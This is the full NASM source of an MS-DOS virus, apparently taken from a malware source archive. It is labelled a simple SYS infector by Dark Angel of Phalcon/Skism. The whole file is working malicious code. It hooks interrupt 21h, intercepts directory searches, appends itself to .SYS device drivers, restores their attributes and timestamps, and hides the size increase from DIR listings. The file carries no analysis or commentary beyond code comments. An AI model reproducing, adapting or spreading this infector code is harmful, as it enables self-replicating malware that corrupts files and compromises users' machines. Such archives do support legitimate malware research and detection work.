MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.sysinf.asm
2021-01-12 17:58:25 -06:00

312 lines
10 KiB
NASM

;Sysinf.asm????
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw offset _strategy
interrupt dw offset _interrupt
namevirus db 'SYS INF ' ; simple SYS infector
endheader:
author db 0,'Simple SYS infector',0Dh,0Ah
db 'Written by Dark Angel of Phalcon/Skism',0
_strategy: ; save es:bx pointer
push si
call next_strategy
next_strategy:
pop si
mov cs:[si+offset savebx-offset next_strategy],bx
mov cs:[si+offset savees-offset next_strategy],es
pop si
retf
_interrupt: ; install virus in memory
push ds ; generally, only the segment
push es ; registers need to be preserved
push cs
pop ds
call next_interrupt
next_interrupt:
pop bp
les bx,cs:[bp+savebx-next_interrupt] ; get request header pointer
mov es:[bx+3],8103h ; default to fail request
cmp byte ptr es:[bx+2], 0 ; check if it is installation request
jnz exit_interrupt ; exit if it is not
mov es:[bx+10h],cs ; fill in ending address value
lea si,[bp+header-next_interrupt]
mov es:[bx+0eh],si
dec byte ptr es:[bx+3] ; and assume installation failure
mov ax, 0b0fh ; installation check
int 21h
cmp cx, 0b0fh
jz exit_interrupt ; exit if already installed
add es:[bx+0eh],offset endheap ; fixup ending address
mov es:[bx+3],100h ; and status word
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[21h*4] ; get old interrupt handler
mov word ptr cs:[bp+oldint21-next_interrupt],bx
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
lea si,[bp+int21-next_interrupt]
cli
mov ds:[21h*4],si ; replace int 21h handler
mov ds:[21h*4+2],cs
sti
exit_interrupt:
pop es
pop ds
retf
int21:
cmp ax,0b0fh ; installation check?
jnz notinstall
xchg cx,ax ; mark already installed
exitint21:
iret
notinstall:
pushf
db 9ah ; call far ptr This combined with the
oldint21 dd ? ; pushf simulates an int 21h call
pushf
push bp
push ax
mov bp, sp ; set up new stack frame
; flags [bp+10]
; CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov ax, [bp+4] ; get flags
mov [bp+10], ax ; replace old flags with new
pop ax ; restore the stack
pop bp
popf
cmp ah, 11h ; trap FCB find first and
jz findfirstnext
cmp ah, 12h ; FCB find next calls only
jnz exitint21
findfirstnext:
cmp al,0ffh ; successful findfirst/next?
jz exitint21 ; exit if not
push bp
call next_int21
next_int21:
pop bp
sub bp, offset next_int21
push ax ; save all registers
push bx
push cx
push dx
push ds
push es
push si
push di
mov ah, 2fh ; ES:BX <- DTA
int 21h
push es ; DS:BX->DTA
pop ds
cmp byte ptr [bx], 0FFh ; extended FCB?
jnz regularFCB ; continue if not
add bx, 7 ; otherwise, convert to regular FCB
regularFCB:
mov cx, [bx+29] ; get file size
mov word ptr cs:[bp+filesize], cx
push cs ; ES = CS
pop es
cld
; The following code converts the FCB to an ASCIIZ string
lea di, [bp+filename] ; destination buffer
lea si, [bx+1] ; source buffer - filename
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
jz bombout
mov cx, 8 ; copy up to 8 bytes
back: cmp byte ptr ds:[si], ' ' ; is it a space?
jz copy_done ; if so, done copying
movsb ; otherwise, move character to buffer
loop back
copy_done:
mov al, '.' ; copy period
stosb
mov ax, 'YS'
lea si, [bx+9] ; source buffer - extension
cmp word ptr [si], ax ; check if it has the SYS
jnz bombout ; extension and exit if it
cmp byte ptr [si+2], al ; does not
jnz bombout
stosw ; copy 'SYS' to the buffer
stosb
mov al, 0 ; copy null byte
stosb
push ds
pop es ; es:bx -> DTA
push cs
pop ds
xchg di,bx ; es:di -> DTA
; open file, read/only
call open ; al already 0
jc bombout ; exit on error
mov ah, 3fh ; read first
mov cx, 2 ; two bytes of
lea dx, [bp+buffer] ; the header
int 21h
mov ah, 3eh ; close file
int 21h
InfectSYS:
inc word ptr cs:[bp+buffer] ; if first word not FFFF
jz continueSYS ; assume already infected
; this is a safe bet since
; most SYS files do not have
; another SYS file chained on
alreadyinfected:
sub es:[di+29], heap - header ; hide file size increase
; during a DIR command
; This causes CHKDSK errors
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
; are limited to 64K maximum
bombout:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
iret
continueSYS:
push ds
pop es
lea si, [bp+offset header]
lea di, [bp+offset bigbuffer]
mov cx, offset endheader - offset header
rep movsb
mov cx, cs:[bp+filesize]
add cx, offset _strategy - offset header ; calculate offset to
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
add cx, offset _interrupt - offset _strategy;calculate offset to
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
continueinfection:
mov ax, 4300h ; get file attributes
lea dx, [bp+filename]
int 21h
push cx ; save attributes on stack
push dx ; save filename on stack
mov ax, 4301h ; clear file attributes
xor cx, cx
lea dx,[bp+filename]
int 21h
call openreadwrite
mov ax, 5700h ; get file time/date
int 21h
push cx ; save them on stack
push dx
mov ah, 40h ; write filesize to the old
mov cx, 2 ; SYS header
lea dx, [bp+filesize]
int 21h
mov ax, 4202h ; go to end of file
xor cx, cx
cwd ; xor dx, dx
int 21h
mov ah, 40h ; concatenate header
mov cx, offset endheader - offset header
lea dx, [bp+bigbuffer]
int 21h
mov ah, 40h ; concatenate virus
mov cx, offset heap - offset endheader
lea dx, [bp+endheader]
int 21h
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
mov ah, 3eh ; close file
int 21h
mov ax, 4301h ; restore file attributes
pop cx
pop dx
int 21h
jmp bombout
openreadwrite:
mov al, 2 ; open read/write mode
open: mov ah, 3dh
lea dx,[bp+filename]
int 21h
xchg ax, bx ; put handle in bx
ret
heap:
savebx dw ?
savees dw ?
buffer db 2 dup (?)
filename db 13 dup (?)
filesize dw ?
bigbuffer db offset endheader - offset header dup (?)
endheap:
end header